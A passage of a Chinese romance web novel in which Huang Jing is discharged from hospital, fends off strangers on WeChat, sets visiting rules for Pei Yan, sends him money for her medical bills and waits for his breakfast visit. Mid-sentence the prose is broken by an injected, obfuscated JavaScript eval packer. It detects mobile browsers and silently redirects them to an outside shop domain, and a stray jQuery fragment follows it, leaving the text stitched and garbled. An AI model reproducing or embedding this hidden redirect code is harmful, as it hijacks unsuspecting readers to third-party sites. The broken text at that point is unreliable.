5月12日，黄晶出院。医生开了出院单，叮嘱一周后回医院复查，伤口别沾水，按时吃药。裴砚去办出院手续时，护士把剩下的药和出院小结递给他，又交代了一堆注意事项。他听完逐条记在备忘录里，提起她那个装了几件换洗衣服和药的帆布袋，开车送她回八角。
裴砚把车停在单元楼下，替她把行李袋拎上楼。她跟在他身后，走得不快，但已经不需要人扶了。
推开门，小出租屋里还是她离开时的样子——窗帘拉着，茶几上还摊着那天没来得及收的急救包，沙发上搭着那件紫色衬衫。空气里没有血腥味了，只有几天没通风的淡淡潮气。裴砚把窗开了一条缝，五月的风灌进来，吹得茶几上那几张外卖单轻轻掀了掀。
黄晶把斜挎包放在鞋柜上，换上那双新买的洞洞鞋，然后坐在床边，拿起手机。
这几天在医院她只是偶尔回几条消息，现在打开微信，微信联系人那里冒出一大串小红点，基本都是通过手机号搜索添加的。也有十几个未接电话，号码都不认识，她直接不理。
黄晶一个一个处理——微信主页一一点开看，那种头像正经、申请理由写着有事的，她基本都通过了，因为怕万一真有什么事找她。
头像是腹肌照，验证消息写着“交个朋友”，或者简介上写着“约吗”、“美女认识一下”的，她直接点了拒绝，干脆利落。
通过之后她也不主动说话，对方发“你好”，她回“你好”，对方问“最近忙什么呢”，她回“住院”，对话自然终止。
也有几个通过之后立刻发来“你也在北京吗”、“出来喝一杯”之类的消息，她不回复，直接拉黑删除一条龙。
那些自称有事的人加上好友后立即把她拉进了好几个聚会群，她点开群聊列表看到里面全是陌生头像和“XX之夜”、“京城XX局”之类的群名，群消息叮叮当当响个不停，退出，拉黑，一气呵成。
做完这些之后黄晶打开微信设置，把添加方式里的电话号码搜索、微信号搜索全部关闭，只留了二维码和名片可以添加。
世界安静了。
黄晶把手机放下，活动了一下手指，然后抬起头。视线落在沙发旁边那个黑色的行李袋上——他之前搬进来时带的那个，还搁在原来的位置，拉链拉开了一半，露出几件叠得整整齐齐的衬衫。
她盯着那个行李袋看了好几秒，然后开口：“你白天可以来，但晚上得各回各家。”
裴砚正把热水壶插上电，闻言转过头看她。
黄晶补充道：“这是为了保护你的人身安全。”
裴砚把水壶的开关按下去，然后靠在厨房台面上，看着她。他没有反驳，只是问：“几点算晚上？”
黄晶想了想，“九点。夏令时十点。”
“行。”
裴砚转过身，继续烧水。水壶里的水开始咕嘟咕嘟地响，他的背影挡在灶台前，她看不到他的表情。
但他从行李袋里把自己的牙刷和毛巾拿了出来，放进了洗手间，把那一半拉链拉好，把袋子推到沙发旁边靠墙的位置——没有收走。
他现在在这个小屋里有一块固定的空间了，不大，但足够。她允许他白天来，而他决定把牙刷留着。
裴砚回到公寓时，手机在口袋里震了一下。他点开，微信转账，一万块，备注是“医药费”，转出方备注“黄晶”，之后又跟着一条消息“明天来的话，提前发消息”。
裴砚盯着那行字，没点收款。她给他转钱不是第一次了。他坐在沙发上，把手机搁在茶几上。
这笔账该怎么入？不能收，收了这笔账就结清了，他就没有理由再留在她身边；不能退，退了就等于拒绝她的结算方式，她不接受“算了”这种模糊地带。
她需要边界，需要每一件事都有明确的科目和金额，他给她的照顾她需要把它变成“已支付”，才能让自己安心接受。
裴砚没点收款，也没退回。他回了一条：“明天早上九点。带粥。”然后把手机放在茶几上，靠在沙发背上，闭了会儿眼。
这笔钱会在二十四小时后自动退回她的账户，但他明天九点还是会准时出现在她门口。那时候她会知道，有些账不是用钱能结清的。
他愿意接受她所有结账的方式，但这一次，他选择让系统替他拒绝。并且，这笔账他打算用另
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672138|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一种方式来算——用很多个早上九点的粥，用很多次他站在厨房里听她使唤，用很长很长的时间。
黄晶这个人，医生的话她只听一半。医生说“最好不要洗”，她听进去了“最好”，然后自己给“不要洗”加了个注释：实在受不了的时候可以洗。
裴砚走后不久她就开始准备了——保鲜膜从厨房抽屉里翻出来，对着镜子一圈一圈往胸口缠，缠得紧紧的，手指按了按边缘确认密封，觉得应该没问题。
热水冲下来的那一刻她差点舒服得叹出声。太久没洗了，皮肤上积了好几天的药味和医院的消毒水味，还有发烧那几天出的冷汗，头发虽然裴砚帮她洗过但身上一直只是用毛巾擦。
黄晶站在花洒下面，让水从头顶浇下来，沿着肩膀、后背、小腿往下淌。她开始一点一点地搓，动作很慢，左手不敢用力，只能靠右手慢慢来。沐浴露的泡沫滑过锁骨、手臂、腰侧，她洗得很仔细，像是要把这几天所有的狼狈都冲进下水道。
保鲜膜没什么用。水还是渗进去了，顺着胸口的弧度流到敷贴上，边缘慢慢翘起来。她低头看了一眼翘起的敷贴，没有停。反正已经湿了，不如洗完。
洗完的时候她整个人都虚脱了——浴室里全是水蒸气，黄晶靠在洗手台边上喘了好一会儿。抬头看镜子，脸上被热气蒸得红扑扑的，嘴唇倒是比前几天多了点血色。她扶着墙走出来，喝了一大壶水，然后躺在沙发上歇了很久。
歇好之后她擦干伤口周围的水，换药，重新贴上无菌敷贴。做完这些，黄晶把换下来的纱布卷好扔进垃圾桶，吃了药，然后躺回床上。
这一觉睡得很沉，没有梦。
早上六点多，黄晶自然醒了。窗帘还拉着，只有一丝天光从缝隙里漏进来，落在床尾那团没叠好的被子上。
她没有马上起来，坐在床上，裹着被子，看着那道光发呆。脑子是空的，身体是软的，胸口的伤口隐隐有点痒。今天好像没什么必须要做的事。
裴砚说九点来，带粥。现在还早。黄晶靠在床头，把枕头竖起来垫在背后，看着窗帘缝里那道光线从灰白慢慢变成金色。她把被子拉到下巴，等着粥来。